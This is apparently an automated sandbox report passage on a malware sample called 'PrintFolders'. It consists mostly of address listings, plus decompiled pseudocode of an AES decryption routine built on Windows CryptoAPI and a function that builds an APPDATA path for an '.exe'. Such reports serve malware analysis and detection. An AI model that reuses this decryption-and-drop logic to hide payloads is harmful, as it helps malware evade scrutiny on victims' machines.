                                                          0x00406dae
                                                          0x00406db0
                                                          0x00406db5
                                                          0x00000000
                                                          0x00406d9a
                                                          0x00406d9a
                                                          0x00406d9d
                                                          0x00406da5
                                                          0x00406da8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406da8
                                                          0x00406d98
                                                          0x00406d87
                                                          0x00406c5b
                                                          0x00406c5b
                                                          0x00406c61
                                                          0x00406c62
                                                          0x00406c64
                                                          0x00406c6a
                                                          0x00406c80
                                                          0x00406c80
                                                          0x00406c82
                                                          0x00406c87
                                                          0x00000000
                                                          0x00406c6c
                                                          0x00406c6c
                                                          0x00406c6f
                                                          0x00406c77
                                                          0x00406c7a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406c7a
                                                          0x00406c6a
                                                          0x00406c02
                                                          0x00406c02
                                                          0x00406c08
                                                          0x00406c09
                                                          0x00406c0b
                                                          0x00406c11
                                                          0x00406c27
                                                          0x00406c27
                                                          0x00406c29
                                                          0x00406c2e
                                                          0x00000000
                                                          0x00406c13
                                                          0x00406c13
                                                          0x00406c16
                                                          0x00406c1e
                                                          0x00406c21
                                                          0x00408ce5
                                                          0x00408ce5
                                                          0x00408cea
                                                          0x00408cea
                                                          0x00408cef
                                                          0x00408cef
                                                          0x00408cf4
                                                          0x00408cf5
                                                          0x00408cf6
                                                          0x00408cf7
                                                          0x00408cf8
                                                          0x00408cf9
                                                          0x00408cfa
                                                          0x00408cfb
                                                          0x00408cfc
                                                          0x00408cfd
                                                          0x00408cfe
                                                          0x00408cff
                                                          0x00408d00
                                                          0x00408d01
                                                          0x00408d03
                                                          0x00408d05
                                                          0x00408d10
                                                          0x00408d11
                                                          0x00408d17
                                                          0x00408d1c
                                                          0x00408d1e
                                                          0x00408d21
                                                          0x00408d22
                                                          0x00408d23
                                                          0x00408d24
                                                          0x00408d28
                                                          0x00408d2e
                                                          0x00408d35
                                                          0x00408d3a
                                                          0x00408d40
                                                          0x00408d42
                                                          0x00408d44
                                                          0x00408d50
                                                          0x00408d50
                                                          0x00408d55
                                                          0x00408d58
                                                          0x00408d5f
                                                          0x00408d66
                                                          0x00408d66
                                                          0x00408d50
                                                          0x00408d78
                                                          0x00408d7d
                                                          0x00408d94
                                                          0x00408d9b
                                                          0x00408db2
                                                          0x00408db9
                                                          0x00408dbd
                                                          0x00408dd0
                                                          0x00408ddb
                                                          0x00408de5
                                                          0x00408df0
                                                          0x00408dfd
                                                          0x00408e08
                                                          0x00408e12
                                                          0x00408e1d
                                                          0x00408e27
                                                          0x00408e36
                                                          0x00408e3d
                                                          0x00408e42
                                                          0x00408e4b
                                                          0x00408e56
                                                          0x00408e61
                                                          0x00408e6c
                                                          0x00408e77
                                                          0x00408e82
                                                          0x00408e8d
                                                          0x00408e91
                                                          0x00408e96
                                                          0x00408e96
                                                          0x00408e98
                                                          0x00408ea0
                                                          0x00408ea3
                                                          0x00408ea4
                                                          0x00408eaa
                                                          0x00408eb0
                                                          0x00408eb5
                                                          0x00408eb7
                                                          0x00000000
                                                          0x00000000
                                                          0x00408ec8
                                                          0x00408ecd
                                                          0x00408ed5
                                                          0x00408eda
                                                          0x00408edc
                                                          0x00408ede
                                                          0x00408ee6
                                                          0x00408eeb
                                                          0x00408eed
                                                          0x00408eef
                                                          0x00408ef2
                                                          0x00000000
                                                          0x00408ef2
                                                          0x00408eed
                                                          0x00408f2e
                                                          0x00408f36
                                                          0x00408f3b
                                                          0x00408f3e
                                                          0x00408f4d
                                                          0x00408f52
                                                          0x00408f56
                                                          0x00408f69
                                                          0x00408f6f
                                                          0x00408f74
                                                          0x00408f7e
                                                          0x00408f83
                                                          0x00408f88
                                                          0x00408f98
                                                          0x00408fa3
                                                          0x00408fa5
                                                          0x00408fb0
                                                          0x00408fb4
                                                          0x00408fb9
                                                          0x00408fbb
                                                          0x00000000
                                                          0x00000000
                                                          0x00408fcc
                                                          0x00408fd4
                                                          0x00408fd9
                                                          0x00408fdc
                                                          0x00000000
                                                          0x00000000
                                                          0x00408fde
                                                          0x00408fe1
                                                          0x00000000
                                                          0x00000000
                                                          0x00408fef
                                                          0x00408ff8
                                                          0x00408ff8
                                                          0x00408fff
                                                          0x00409004
                                                          0x00409010
                                                          0x00409011
                                                          0x0040902a
                                                          0x00409030
                                                          0x00409035
                                                          0x0040903f
                                                          0x00409044
                                                          0x00409049
                                                          0x00409059
                                                          0x00409066
                                                          0x00409071
                                                          0x00409075
                                                          0x0040907a
                                                          0x0040907c
                                                          0x00000000
                                                          0x00409082
                                                          0x0040908d
                                                          0x0040908f
                                                          0x00409092
                                                          0x00000000
                                                          0x00409098
                                                          0x004090a6
                                                          0x004090a7
                                                          0x004090af
                                                          0x004090b2
                                                          0x004090bc
                                                          0x004090d5
                                                          0x004090d6
                                                          0x004090db
                                                          0x004090de
                                                          0x004090ea
                                                          0x004090f7
                                                          0x004090fa
                                                          0x00409108
                                                          0x00409112
                                                          0x00409117
                                                          0x0040911a
                                                          0x00409120
                                                          0x00409127
                                                          0x0040913d
                                                          0x00409143
                                                          0x00409145
                                                          0x0040914c
                                                          0x0040914c
                                                          0x00409150
                                                          0x0040916c
                                                          0x0040916e
                                                          0x00409171
                                                          0x00409177
                                                          0x0040917c
                                                          0x0040917e
                                                          0x00409180
                                                          0x00409185
                                                          0x00409185
                                                          0x00409188
                                                          0x0040918b
                                                          0x0040918d
                                                          0x00409193
                                                          0x00409193
                                                          0x00409196
                                                          0x00409199
                                                          0x004091a4
                                                          0x004091a7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040919b
                                                          0x0040919b
                                                          0x0040919e
                                                          0x004091a0
                                                          0x004091a0
                                                          0x004091a9
                                                          0x004091a9
                                                          0x004091ab
                                                          0x00000000
                                                          0x004091ad
                                                          0x004091ad
                                                          0x004091b0
                                                          0x004091d4
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004091b0
                                                          0x004091ab
                                                          0x00000000
                                                          0x004091b2
                                                          0x004091b2
                                                          0x004091bd
                                                          0x004091c0
                                                          0x004091c1
                                                          0x004091c7
                                                          0x004091c9
                                                          0x004091c9
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00409127
                                                          0x00409092
                                                          0x004091d6
                                                          0x004091d6
                                                          0x004091db
                                                          0x004091dc
                                                          0x004091dd
                                                          0x004091de
                                                          0x004091df
                                                          0x004091e0
                                                          0x004091e1
                                                          0x004091e6
                                                          0x004091ed
                                                          0x004091f6
                                                          0x004091fd
                                                          0x00409204
                                                          0x0040920b
                                                          0x0040920d
                                                          0x00409212
                                                          0x00409218
                                                          0x0040921e
                                                          0x00409225
                                                          0x0040922d
                                                          0x00409234
                                                          0x00409236
                                                          0x00409240
                                                          0x00409247
                                                          0x0040924c
                                                          0x0040925a
                                                          0x00409262
                                                          0x00409268
                                                          0x00409272
                                                          0x00409277
                                                          0x00409234
                                                          0x00409282
                                                          0x0040928c
                                                          0x00000000
                                                          0x00409129
                                                          0x00409129
                                                          0x0040912f
                                                          0x0040912f
                                                          0x00000000
                                                          0x00408fe3
                                                          0x00408fe8
                                                          0x00408fe8
                                                          0x00408ef7
                                                          0x00408ef7
                                                          0x00408efd
                                                          0x00408f1a
                                                          0x00408f24
                                                          0x00408eff
                                                          0x00408eff
                                                          0x00408f04
                                                          0x00408f14
                                                          0x00408f14
                                                          0x00408efd
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406c21
                                                          0x00406c11
                                                          0x00406c00
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00406a30
                                                          0x00406a20
                                                          0x00406a12
                                                          0x00000000

                                                          APIs
                                                          • CreateDirectoryA.KERNEL32(0040813E,00000000,6E36C9B5,?), ref: 0040684F
                                                          • GetLastError.KERNEL32 ref: 00406859
                                                          • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,6E36C9B5,?,00000000), ref: 00406B37
                                                          • __Init_thread_footer.LIBCMT ref: 00406F6C
                                                          • Sleep.KERNEL32(?,6E36C9B5), ref: 00408D5F
                                                            • Part of subcall function 00402980: Concurrency::cancel_current_task.LIBCPMT ref: 00402AD3
                                                          • __Init_thread_footer.LIBCMT ref: 0040746E
                                                          • __Init_thread_footer.LIBCMT ref: 00407928
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Init_thread_footer$Concurrency::cancel_current_taskCreateDirectoryErrorFolderLastPathSleep
                                                          • String ID: .exe$APPDATA$KC^.$OCjO$\AI\$)<
                                                          • API String ID: 1816155683-548552080
                                                          • Opcode ID: 139fb17deca05b2c8f1ec0f17ad5d96a8aaffc1ce760a88e4899f3a611e21d42
                                                          • Instruction ID: 0be4c55f84660d75167a20acadb567ab38b5d4c0f6123eba4fa82a51dea9132a
                                                          • Opcode Fuzzy Hash: 139fb17deca05b2c8f1ec0f17ad5d96a8aaffc1ce760a88e4899f3a611e21d42
                                                          • Instruction Fuzzy Hash: 02E21570A002549BEB19DB28CD447DDBB71AF46308F1082EED449BB3D2DB799AC4CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1370 403770-4037f8 CryptAcquireContextW 1371 4038ba-4038d0 GetLastError CryptReleaseContext 1370->1371 1372 4037fe-40381c CryptCreateHash 1370->1372 1374 403a04-403a0a 1371->1374 1372->1371 1373 403822-403835 1372->1373 1375 403838-40383d 1373->1375 1376 403a34-403a51 call 40ebbf 1374->1376 1377 403a0c-403a18 1374->1377 1375->1375 1378 40383f-403886 call 40ee0d call 41657c CryptHashData 1375->1378 1380 403a2a-403a31 call 40edff 1377->1380 1381 403a1a-403a28 1377->1381 1393 403896-4038b8 CryptDeriveKey 1378->1393 1394 403888-403891 GetLastError 1378->1394 1380->1376 1381->1380 1382 403a52-403a90 call 413527 call 40ff71 1381->1382 1393->1371 1396 4038d5-4038d6 call 4162ee 1393->1396 1394->1374 1398 4038db-403927 call 4104c0 call 40ee0d 1396->1398 1403 4039f8-4039fe CryptDestroyKey 1398->1403 1404 40392d-40393c 1398->1404 1403->1374 1405 403942-40394b 1404->1405 1406 403959-403994 call 4104c0 CryptDecrypt 1405->1406 1407 40394d-40394f 1405->1407 1406->1403 1410 403996-4039c1 call 4104c0 1406->1410 1407->1406 1410->1403 1413 4039c3-4039f2 1410->1413 1413->1403 1413->1405
                                                          C-Code - Quality: 53%
                                                          			E00403770(void* __ebx, int __ecx, int __edx, void* __edi, intOrPtr* _a4, void* _a8, intOrPtr _a24, intOrPtr _a28) {
                                                          				long* _v8;
                                                          				char _v16;
                                                          				signed int _v24;
                                                          				void _v136;
                                                          				long* _v140;
                                                          				int _v144;
                                                          				char _v148;
                                                          				long* _v152;
                                                          				int _v156;
                                                          				signed int _v160;
                                                          				int _v164;
                                                          				BYTE* _v168;
                                                          				int _v172;
                                                          				intOrPtr* _v176;
                                                          				int _v180;
                                                          				intOrPtr _v220;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t69;
                                                          				signed int _t70;
                                                          				void* _t77;
                                                          				intOrPtr* _t82;
                                                          				char* _t92;
                                                          				void* _t94;
                                                          				intOrPtr _t95;
                                                          				void* _t99;
                                                          				int _t100;
                                                          				void* _t101;
                                                          				BYTE* _t103;
                                                          				intOrPtr _t106;
                                                          				int _t117;
                                                          				void* _t118;
                                                          				intOrPtr* _t126;
                                                          				void* _t127;
                                                          				int _t132;
                                                          				intOrPtr _t135;
                                                          				int _t138;
                                                          				intOrPtr _t140;
                                                          				signed int _t145;
                                                          				void* _t146;
                                                          				intOrPtr* _t147;
                                                          				signed int _t149;
                                                          				void* _t150;
                                                          				void* _t151;
                                                          				void* _t152;
                                                          				intOrPtr* _t153;
                                                          				signed int _t155;
                                                          				void* _t157;
                                                          				void* _t159;
                                                          
                                                          				_t69 =  *0x43d054; // 0x6e36c9b5
                                                          				_t70 = _t69 ^ _t155;
                                                          				_v24 = _t70;
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t117 = __edx;
                                                          				_v172 = __edx;
                                                          				_v156 = __ecx;
                                                          				_v176 = _a4;
                                                          				_v8 = 0;
                                                          				_t151 = L"Microsoft Enhanced RSA and AES Cryptographic Provider";
                                                          				_v160 = _a24 + _a24;
                                                          				_t77 = memcpy( &_v136, _t151, 0x1b << 2);
                                                          				_t159 = _t157 - 0xa8 + 0xc;
                                                          				__imp__CryptAcquireContextW(_t77, 0,  &_v136, 0x18, 0xf0000000, _t70, __edi, _t150, __ebx,  *[fs:0x0], 0x42c34d, 0xffffffff); // executed
                                                          				if(_t77 == 0) {
                                                          					L7:
                                                          					_t145 = GetLastError();
                                                          					CryptReleaseContext(_v140, 0);
                                                          				} else {
                                                          					_t92 =  &_v148;
                                                          					__imp__CryptCreateHash(_v140, 0x800c, 0, 0, _t92); // executed
                                                          					if(_t92 == 0) {
                                                          						goto L7;
                                                          					} else {
                                                          						_t94 =  >=  ? _a8 :  &_a8;
                                                          						_t147 = _t94;
                                                          						_v164 = _t94;
                                                          						_t127 = _t147 + 1;
                                                          						do {
                                                          							_t95 =  *_t147;
                                                          							_t147 = _t147 + 1;
                                                          							_t168 = _t95;
                                                          						} while (_t95 != 0);
                                                          						_t149 = _t147 - _t127 + 1;
                                                          						_t151 = E0040EE0D(_t149, _t151, _t168,  ~(0 | _t168 > 0x00000000) | _t149 * 0x00000002);
                                                          						_t99 = E0041657C(_t151, _v164, _t149);
                                                          						_t159 = _t159 + 0x10;
                                                          						__imp__CryptHashData(_v148, _t151, _v160, 0);
                                                          						if(_t99 != 0) {
                                                          							_t100 =  &_v152;
                                                          							__imp__CryptDeriveKey(_v140, 0x660e, _v148, 0, _t100); // executed
                                                          							__eflags = _t100;
                                                          							if(__eflags != 0) {
                                                          								_push(_t117); // executed
                                                          								_t101 = E004162EE(); // executed
                                                          								_t151 = _t101;
                                                          								E004104C0(_t151, _v156, _t117);
                                                          								_t103 = E0040EE0D(_t149, _t151, __eflags, 0xa0);
                                                          								_t138 = _v172;
                                                          								_t145 = 0;
                                                          								_t159 = _t159 + 0x14;
                                                          								_v168 = _t103;
                                                          								_v144 = 0;
                                                          								_v156 = 0;
                                                          								_v160 = 0;
                                                          								__eflags = _t138;
                                                          								if(__eflags != 0) {
                                                          									_t132 = _t138;
                                                          									_t106 = 0xa0 - _t151;
                                                          									__eflags = 0xa0;
                                                          									_v164 = _t132;
                                                          									_v180 = 0xa0;
                                                          									while(1) {
                                                          										_t117 = 0xa0;
                                                          										__eflags = _t106 + _t151 - _t138;
                                                          										if(_t106 + _t151 >= _t138) {
                                                          											_t117 = _t132;
                                                          											_v156 = 1;
                                                          										}
                                                          										_v144 = _t117;
                                                          										E004104C0(_v168, _t151, _t117);
                                                          										_t159 = _t159 + 0xc;
                                                          										__eflags = CryptDecrypt(_v152, 0, _v156, 0, _v168,  &_v144);
                                                          										if(__eflags == 0) {
                                                          											goto L15;
                                                          										}
                                                          										E004104C0( *_v176 + _t145, _v168, _v144);
                                                          										_t145 = _t145 + _v144;
                                                          										_t159 = _t159 + 0xc;
                                                          										__eflags = _t117 - 0xa0;
                                                          										if(__eflags == 0) {
                                                          											_t151 = _t151 + _t117;
                                                          											_t140 = _v160 + 1;
                                                          											_t106 = _v180;
                                                          											_t132 = _v164 - _t117;
                                                          											__eflags = _t140 - _v172;
                                                          											_v160 = _t140;
                                                          											_t138 = _v172;
                                                          											_v164 = _t132;
                                                          											if(__eflags < 0) {
                                                          												continue;
                                                          											}
                                                          										}
                                                          										goto L15;
                                                          									}
                                                          								}
                                                          								L15:
                                                          								CryptDestroyKey(_v152);
                                                          							} else {
                                                          								goto L7;
                                                          							}
                                                          						} else {
                                                          							GetLastError();
                                                          							_t145 = _t149 | 0xffffffff;
                                                          						}
                                                          					}
                                                          				}
                                                          				_t135 = _a28;
                                                          				if(_t135 < 0x10) {
                                                          					L20:
                                                          					 *[fs:0x0] = _v16;
                                                          					_pop(_t146);
                                                          					_pop(_t152);
                                                          					_pop(_t118);
                                                          					return E0040EBBF(_t145, _t118, _v24 ^ _t155, _t135, _t146, _t152);
                                                          				} else {
                                                          					_t126 = _a8;
                                                          					_t135 = _t135 + 1;
                                                          					_t82 = _t126;
                                                          					if(_t135 < 0x1000) {
                                                          						L19:
                                                          						_push(_t135);
                                                          						E0040EDFF(_t126);
                                                          						goto L20;
                                                          					} else {
                                                          						_t126 =  *((intOrPtr*)(_t126 - 4));
                                                          						_t135 = _t135 + 0x23;
                                                          						if(_t82 - _t126 + 0xfffffffc > 0x1f) {
                                                          							E00413527(_t117, _t135, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t155);
                                                          							_push(_t151);
                                                          							_t153 = _t126;
                                                          							asm("xorps xmm0, xmm0");
                                                          							 *_t153 = 0x42e2d4;
                                                          							asm("movq [eax], xmm0");
                                                          							__eflags = _v220 + 4;
                                                          							E0040FF71(_v220 + 4, _t153 + 4);
                                                          							 *_t153 = 0x42e320;
                                                          							return _t153;
                                                          						} else {
                                                          							goto L19;
                                                          						}
                                                          					}
                                                          				}
                                                          			}




















































                                                          0x00403787
                                                          0x0040378c
                                                          0x0040378e
                                                          0x00403798
                                                          0x0040379e
                                                          0x004037a0
                                                          0x004037a6
                                                          0x004037af
                                                          0x004037b5
                                                          0x004037cc
                                                          0x004037d6
                                                          0x004037ed
                                                          0x004037ed
                                                          0x004037f0
                                                          0x004037f8
                                                          0x004038ba
                                                          0x004038c8
                                                          0x004038ca
                                                          0x004037fe
                                                          0x004037fe
                                                          0x00403814
                                                          0x0040381c
                                                          0x00000000
                                                          0x00403822
                                                          0x00403829
                                                          0x0040382d
                                                          0x0040382f
                                                          0x00403835
                                                          0x00403838
                                                          0x00403838
                                                          0x0040383a
                                                          0x0040383b
                                                          0x0040383b
                                                          0x00403846
                                                          0x0040385d
                                                          0x00403867
                                                          0x0040386c
                                                          0x0040387e
                                                          0x00403886
                                                          0x00403896
                                                          0x004038b0
                                                          0x004038b6
                                                          0x004038b8
                                                          0x004038d5
                                                          0x004038d6
                                                          0x004038de
                                                          0x004038e8
                                                          0x004038f5
                                                          0x004038fa
                                                          0x00403900
                                                          0x00403902
                                                          0x00403905
                                                          0x0040390b
                                                          0x00403915
                                                          0x0040391f
                                                          0x00403925
                                                          0x00403927
                                                          0x00403932
                                                          0x00403934
                                                          0x00403934
                                                          0x00403936
                                                          0x0040393c
                                                          0x00403942
                                                          0x00403944
                                                          0x00403949
                                                          0x0040394b
                                                          0x0040394d
                                                          0x0040394f
                                                          0x0040394f
                                                          0x00403961
                                                          0x00403967
                                                          0x0040396c
                                                          0x00403992
                                                          0x00403994
                                                          0x00000000
                                                          0x00000000
                                                          0x004039ad
                                                          0x004039b2
                                                          0x004039b8
                                                          0x004039bb
                                                          0x004039c1
                                                          0x004039c9
                                                          0x004039d1
                                                          0x004039d2
                                                          0x004039d8
                                                          0x004039da
                                                          0x004039e0
                                                          0x004039e6
                                                          0x004039ec
                                                          0x004039f2
                                                          0x00000000
                                                          0x00000000
                                                          0x004039f2
                                                          0x00000000
                                                          0x004039c1
                                                          0x00403942
                                                          0x004039f8
                                                          0x004039fe
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00403888
                                                          0x00403888
                                                          0x0040388e
                                                          0x0040388e
                                                          0x00403886
                                                          0x0040381c
                                                          0x00403a04
                                                          0x00403a0a
                                                          0x00403a34
                                                          0x00403a39
                                                          0x00403a41
                                                          0x00403a42
                                                          0x00403a43
                                                          0x00403a51
                                                          0x00403a0c
                                                          0x00403a0c
                                                          0x00403a0f
                                                          0x00403a10
                                                          0x00403a18
                                                          0x00403a2a
                                                          0x00403a2a
                                                          0x00403a2c
                                                          0x00000000
                                                          0x00403a1a
                                                          0x00403a1a
                                                          0x00403a1d
                                                          0x00403a28
                                                          0x00403a52
                                                          0x00403a57
                                                          0x00403a58
                                                          0x00403a59
                                                          0x00403a5a
                                                          0x00403a5b
                                                          0x00403a5c
                                                          0x00403a5d
                                                          0x00403a5e
                                                          0x00403a5f
                                                          0x00403a60
                                                          0x00403a63
                                                          0x00403a64
                                                          0x00403a66
                                                          0x00403a6d
                                                          0x00403a73
                                                          0x00403a7a
                                                          0x00403a7e
                                                          0x00403a86
                                                          0x00403a90
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00403a28
                                                          0x00403a18

                                                          APIs
                                                          • CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,6E36C9B5), ref: 004037F0
                                                          • CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 00403814
                                                          • _mbstowcs.LIBCMT ref: 00403867
                                                          • CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 0040387E
                                                          • GetLastError.KERNEL32 ref: 00403888
                                                          • CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 004038B0
                                                          • GetLastError.KERNEL32 ref: 004038BA
                                                          • CryptReleaseContext.ADVAPI32(?,00000000), ref: 004038CA
                                                          • CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 0040398C
                                                          • CryptDestroyKey.ADVAPI32(?), ref: 004039FE
                                                          • ___std_exception_copy.LIBVCRUNTIME ref: 00403A7E
                                                          Strings
                                                          • Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 004037CC, 00403A63
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease___std_exception_copy_mbstowcs
                                                          • String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
                                                          • API String ID: 4265767208-63410773
                                                          • Opcode ID: cf61a024e7b059b9c70e00f8277d4a847d871fa60616db5b4861065f2fd07a60
                                                          • Instruction ID: d958dc93e540a12c37dba8d87c44a8e8f394457365b2a07e5a0a794f231eaf70
                                                          • Opcode Fuzzy Hash: cf61a024e7b059b9c70e00f8277d4a847d871fa60616db5b4861065f2fd07a60
                                                          • Instruction Fuzzy Hash: 2881A071B00228AFEB209F25CC41B9ABBB9FF45304F4081AAF54DE7281DB759E858F55
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 86%
                                                          			E00406AA0(void* __ebx, long __ecx, void* __edi, void* __esi, void* __eflags) {
                                                          				char _v8;
                                                          				signed char _v16;
                                                          				char _v20;
                                                          				signed int _v24;
                                                          				short _v28;
                                                          				signed int _v32;
                                                          				char _v56;
                                                          				char _v80;
                                                          				char _v104;
                                                          				char _v300;
                                                          				signed char _v304;
                                                          				signed char _v308;
                                                          				intOrPtr _v312;
                                                          				intOrPtr _v316;
                                                          				signed char _v324;
                                                          				long _v328;
                                                          				signed char _v332;
                                                          				char _v348;
                                                          				long _v352;
                                                          				signed char _v356;
                                                          				char _v372;
                                                          				long _v376;
                                                          				signed char _v380;
                                                          				signed char _v396;
                                                          				char _v400;
                                                          				char _v401;
                                                          				long _v408;
                                                          				signed char _v412;
                                                          				signed char _v428;
                                                          				long _v432;
                                                          				signed char _v436;
                                                          				signed char _v452;
                                                          				long _v456;
                                                          				signed char _v460;
                                                          				char _v476;
                                                          				signed char _v496;
                                                          				char _v504;
                                                          				signed int _v508;
                                                          				char _v760;
                                                          				char _v1088;
                                                          				signed char _v1092;
                                                          				intOrPtr _v1096;
                                                          				signed int _v1100;
                                                          				intOrPtr _v1104;
                                                          				char _v1128;
                                                          				char _v1152;
                                                          				char _v1176;
                                                          				char _v1200;
                                                          				char _v1224;
                                                          				char _v1248;
                                                          				char _v1272;
                                                          				signed int _v1772;
                                                          				short _v1776;
                                                          				intOrPtr _v1780;
                                                          				intOrPtr _v1784;
                                                          				intOrPtr _v1788;
                                                          				void* __ebp;
                                                          				signed int _t796;
                                                          				signed int _t797;
                                                          				void* _t799;
                                                          				signed int _t801;
                                                          				intOrPtr _t805;
                                                          				signed char _t806;
                                                          				signed int _t807;
                                                          				char* _t811;
                                                          				void* _t813;
                                                          				signed int _t819;
                                                          				intOrPtr _t820;
                                                          				signed int _t821;
                                                          				char* _t825;
                                                          				void* _t827;
                                                          				signed int _t833;
                                                          				intOrPtr _t834;
                                                          				signed char _t835;
                                                          				signed int _t836;
                                                          				char* _t840;
                                                          				void* _t842;
                                                          				signed int _t848;
                                                          				void* _t855;
                                                          				char* _t856;
                                                          				intOrPtr _t863;
                                                          				signed int _t870;
                                                          				signed int _t871;
                                                          				signed int _t873;
                                                          				void* _t877;
                                                          				void* _t880;
                                                          				void* _t882;
                                                          				void* _t883;
                                                          				void* _t884;
                                                          				void* _t885;
                                                          				void* _t886;
                                                          				void* _t895;
                                                          				signed int _t896;
                                                          				signed int _t899;
                                                          				signed int _t905;
                                                          				void* _t911;
                                                          				void* _t912;
                                                          				signed int _t914;
                                                          				void* _t919;
                                                          				void* _t923;
                                                          				void* _t924;
                                                          				signed int _t926;
                                                          				signed int _t930;
                                                          				intOrPtr _t933;
                                                          				signed int _t942;
                                                          				void* _t943;
                                                          				signed char _t946;
                                                          				char* _t950;
                                                          				intOrPtr _t951;
                                                          				signed char _t955;
                                                          				signed int _t958;
                                                          				signed int _t960;
                                                          				char _t964;
                                                          				signed char _t965;
                                                          				signed char _t969;
                                                          				intOrPtr _t973;
                                                          				signed int _t980;
                                                          				void* _t985;
                                                          				char* _t986;
                                                          				signed char _t990;
                                                          				intOrPtr _t994;
                                                          				intOrPtr _t998;
                                                          				signed char _t1002;
                                                          				intOrPtr _t1006;
                                                          				char _t1011;
                                                          				signed char _t1012;
                                                          				signed char _t1016;
                                                          				intOrPtr _t1020;
                                                          				signed int _t1027;
                                                          				void* _t1034;
                                                          				char* _t1035;
                                                          				intOrPtr _t1039;
                                                          				intOrPtr _t1043;
                                                          				signed char _t1047;
                                                          				intOrPtr _t1051;
                                                          				char _t1056;
                                                          				signed char _t1057;
                                                          				signed char _t1061;
                                                          				intOrPtr _t1065;
                                                          				char* _t1077;
                                                          				signed int _t1079;
                                                          				signed int _t1082;
                                                          				void* _t1085;
                                                          				void* _t1086;
                                                          				void* _t1092;
                                                          				intOrPtr _t1094;
                                                          				signed char _t1095;
                                                          				signed int _t1096;
                                                          				char* _t1100;
                                                          				void* _t1102;
                                                          				signed int _t1108;
                                                          				intOrPtr _t1109;
                                                          				signed int _t1110;
                                                          				char* _t1114;
                                                          				void* _t1116;
                                                          				signed int _t1122;
                                                          				intOrPtr _t1123;
                                                          				signed char _t1124;
                                                          				signed int _t1125;
                                                          				char* _t1129;
                                                          				void* _t1131;
                                                          				signed int _t1137;
                                                          				intOrPtr _t1138;
                                                          				intOrPtr _t1142;
                                                          				void* _t1146;
                                                          				char* _t1147;
                                                          				intOrPtr _t1151;
                                                          				intOrPtr _t1155;
                                                          				signed char _t1159;
                                                          				intOrPtr _t1163;
                                                          				char _t1168;
                                                          				signed char _t1169;
                                                          				signed char _t1173;
                                                          				intOrPtr _t1177;
                                                          				signed int _t1184;
                                                          				void* _t1189;
                                                          				char* _t1190;
                                                          				intOrPtr _t1194;
                                                          				intOrPtr _t1197;
                                                          				signed char _t1201;
                                                          				intOrPtr _t1205;
                                                          				char _t1210;
                                                          				signed char _t1211;
                                                          				signed char _t1215;
                                                          				intOrPtr _t1219;
                                                          				signed int _t1226;
                                                          				void* _t1233;
                                                          				char* _t1234;
                                                          				intOrPtr _t1238;
                                                          				intOrPtr _t1241;
                                                          				signed char _t1245;
                                                          				signed char _t1249;
                                                          				char _t1254;
                                                          				signed char _t1255;
                                                          				signed char _t1259;
                                                          				signed char _t1263;
                                                          				void* _t1275;
                                                          				char* _t1276;
                                                          				intOrPtr _t1280;
                                                          				intOrPtr _t1283;
                                                          				signed char _t1287;
                                                          				signed char _t1291;
                                                          				char _t1296;
                                                          				intOrPtr _t1297;
                                                          				signed char _t1302;
                                                          				intOrPtr _t1306;
                                                          				void* _t1309;
                                                          				intOrPtr* _t1318;
                                                          				signed char _t1321;
                                                          				void* _t1326;
                                                          				intOrPtr* _t1327;
                                                          				signed char _t1330;
                                                          				void* _t1335;
                                                          				signed char* _t1336;
                                                          				signed char _t1339;
                                                          				void* _t1344;
                                                          				char* _t1356;
                                                          				long _t1407;
                                                          				signed int _t1425;
                                                          				signed char _t1427;
                                                          				signed char _t1428;
                                                          				char _t1429;
                                                          				char* _t1434;
                                                          				signed char _t1435;
                                                          				char _t1436;
                                                          				char _t1437;
                                                          				signed char _t1438;
                                                          				char _t1439;
                                                          				signed char _t1440;
                                                          				signed char _t1441;
                                                          				char _t1442;
                                                          				char* _t1446;
                                                          				char _t1447;
                                                          				char _t1448;
                                                          				signed char _t1449;
                                                          				char _t1450;
                                                          				signed char _t1451;
                                                          				signed char _t1452;
